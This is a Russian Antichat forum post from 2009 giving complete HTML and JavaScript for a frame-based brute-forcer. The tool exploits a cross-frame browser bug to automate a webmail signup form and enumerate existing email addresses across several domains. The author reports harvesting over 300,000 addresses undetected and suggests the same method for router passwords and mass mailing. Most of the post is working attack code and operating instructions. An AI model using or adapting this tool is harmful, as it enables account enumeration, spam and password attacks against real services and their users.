ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Экстравагантный способ перебора
  #1  
Старый 26.11.2009, 06:46
Аватар для lukmus
lukmus
Постоянный
Регистрация: 18.11.2009
Сообщений: 709
Провел на форуме:
1410429

Репутация: 214


По умолчанию Экстравагантный способ перебора

Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.
Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.

Способ заключаеться в следующем: создаеться примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.

Принцип действия: страница, с javascript'ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.

Для реализации всего выше указанного, нам необходимо немного соображать в javascript'е, html'е и самое сложное - найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы - ресурсы разных узлов.
Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:
Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2
Linux: FF 3.5, Opera 10, Epiphany 2.26.3.
Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).
Скачать его можно здесь
Не знаю существует ли он под Windows и есть ли в нем этот баг.

Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:
на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.
Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.

!!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши

После того как установили браузер, необходимо написать сами страницы.
Первая, главная страница с разметкой на фреймы:
Код:
<html>
<head>
<title>/\/\аi|.ру checker all domains</title>
</head>
<frameset rows=25%,75%>
<frame name='up' src='2.html'>
<frame name='mid' src='http:\\win./\/\аi|.ру\cgi-bin\signup' >
</frameset>
</html>
Вторая страница 2.html, так называемый интерфейс брутфорса (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):
Код:
<script type="text/javascript" src="latvia.js"></script>
<html>
<body >
<form name='cmd' >
<table style=text-allign:center;font-size:70%;vertical-align:middle; >
	<td>addresses:<br><textarea name='alladress' readOnly='true' cols=20 rows=10></textarea> </td>
	
	<td>full number<br>
	<textarea name='nomer' cols=13 rows=1>0</textarea><br>
	
	<textarea name='fakt_no' readOnly='true' cols=3 rows=1>0</textarea>^<textarea name='quantity' cols=5 rows=1>1500</textarea><br>
	exist address count<br>
	<textarea name='ex_count' readOnly='true' cols=3 rows=1>0</textarea><br>	
	<input type='button' name='start_bt' value='start' onClick='zamena()' >
	<input type='button' name='update_bt' value='update' onClick='update_fr()' >
	</td>

	<td>words:<br><textarea name='words' cols=20 rows=8></textarea><br>
	dictionary/successively(0/1)<br>
	<textarea name='dicsuc' cols=13 rows=1>0</textarea>
	
	</td> 
	
	
</table>

  </form>
</body>
</html>
А теперь сам движок брутфорса, файл с явакодом(latvia.js):
Код:
var i=0;
var osnwait=1000;
var loawait=500;
var load_attemp=0;
var max_att=500;
var ex_count=0;
var flag=0;

var dom = new Array();
dom[0]='@/\/\аi|.ру';
dom[1]='@ЬК.ru';
dom[2]='@inЬ0х.ru';
dom[3]='@|i$t.ru';
var n_dom=0;

function next(dig,variant) //возвращает следующее слово
{if (variant==0){
word_ar=parent.up.document.cmd.words.value.split('\n');
return word_ar[dig];} else{
return dig.toString(36);}
}

function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)
{
if (flag==1){
if (parent.mid.document.uinfo.RegistrationDomain.selectedIndex<3)
		{parent.mid.document.uinfo.RegistrationDomain.selectedIndex++;
		}else{	
	parent.mid.document.uinfo.RegistrationDomain.selectedIndex=0;
	parent.up.document.cmd.nomer.value=parseInt(parent.up.document.cmd.nomer.value)+1;
	i++;
	parent.up.document.cmd.fakt_no.value=i;
	}}
n_dom=parent.mid.document.uinfo.RegistrationDomain.selectedIndex;
if (flag==0){
	parent.mid.document.getElementById('userNameInput').value='^!@#$%&*';
	setTimeout("zamena()",loawait);
	flag=1;
	} else
	{parent.mid.document.getElementById('userNameInput').value=next(parseInt(parent.up.document.cmd.nomer.value),parseInt(parent.up.document.cmd.dicsuc.value));
		load_attemp=0;
		if(i<=parseInt(parent.up.document.cmd.quantity.value))setTimeout("zamena()",osnwait);
		flag=0;
		}
}

function update_fr() //обновляет страницу с формой
{parent.mid.location="http://win./\/\аi|.ру\cgi-bin\signup";
load_attemp=0;
}

function zamena() //проверяет результаты выданные сайтом
{
	//Еще проверяет
	if(parent.mid.document.getElementById("checkUser").innerHTML.length==43){
		setTimeout("zamena()",loawait);
		load_attemp++;
		if(load_attemp>max_att)	{
			update_fr();
			setTimeout("zamena()",osnwait*25);
			}	
		}

	//Сессия устарела	
	if(parent.mid.document.getElementById("checkUser").innerHTML.length==67){
		update_fr();		
		setTimeout("zamena()",osnwait*25);}
	//Мыло существует
	if(parent.mid.document.getElementById("checkUser").innerHTML.length==143){
	//alert("exist");
	parent.up.document.cmd.alladress.value=parent.up.document.cmd.alladress.value+parent.mid.document.getElementById('userNameInput').value+dom[n_dom]+'\n';

	ex_count++;
	parent.up.document.cmd.ex_count.value=ex_count;
	oknext();
	}
	//Логин свободен т.е. мыло не существует
	if(parent.mid.document.getElementById("checkUser").innerHTML.length==56)oknext(); 
	if(parent.mid.document.getElementById("checkUser").innerHTML.length!=56 && parent.mid.document.getElementById("checkUser").innerHTML.length!=43 && parent.mid.document.getElementById("checkUser").innerHTML.length!=143 && parent.mid.document.getElementById("checkUser").innerHTML.length!=67)oknext();
}
Вопросы по коду:
?:зачем между сменами доменов вставлять ^!@#$%&* ?
0: иначе страница не видит что потенциальный логин был изменен, точнее его домен
?:как реализована задержка между вводами ?
0:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()
?:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)
0:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки 'идет проверка' длина = 43

Остальное непонятное станет ясно дальше.

Запуск и настройка:
Открываем в браузере первую страницу и видим примерно следующее:

Пару слов перед настройкой:
этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле 'words'.
Поле 'addresses' - здесь будут содержаться существующие адреса т.е. наши успешные попытки
Поле 'full number' - в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.
Поле ниже 'full number'- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать
Поле 'exist address count' - здесь отображаеться количество набранных адресов
Поле 'dictionary/successively(0/1)' - выбор варианта перебора 0 - по словарю, 1 - все подряд
Поле 'words' - наш словарь
Кнопка 'start' - запускает перебор
Кнопка 'update' - обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )

Настройка на перебор всего подряд
начинаем с 1000000 комбинации (full number = 0)
перебор всех комбинаций (dictionary/successively(0/1)=1)
количество = 5000


Настройка на перебор по словарю
начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)
перебор по словарю (dictionary/successively(0/1)=0)
количество = 10000



Итоги:
Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.
Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.
Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок - сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .

рабочая версия на 17.06 описана здесь: http://blog.lukmus.ru/?p=19

Последний раз редактировалось lukmus; 17.06.2010 в 05:44..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Продам способ регистрации доменов в ЛЮОЙ зоне за ОДНУ КОПЕЙКУ(Проверено Le][ом) ihorek95 Разное - Покупка, продажа, обмен 8 01.11.2009 12:32
Продам способ регистрации доменов бесплатно в любой зоне =MazaHaka= О Работе 25 30.10.2009 12:31
DefBrute - система распределенного перебора хешей. c0n Difesa С/С++, C#, Delphi, .NET, Asm 13 22.08.2009 13:49
Способ ВАЛИДАЦИИ голосов F1shka Покупка, продажа, услуги в Соц. Сетях 7 02.04.2009 14:52
Брутус АЕТ2. Настройка. Способ перебора паролей.. Skittles E-Mail 6 08.08.2006 23:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ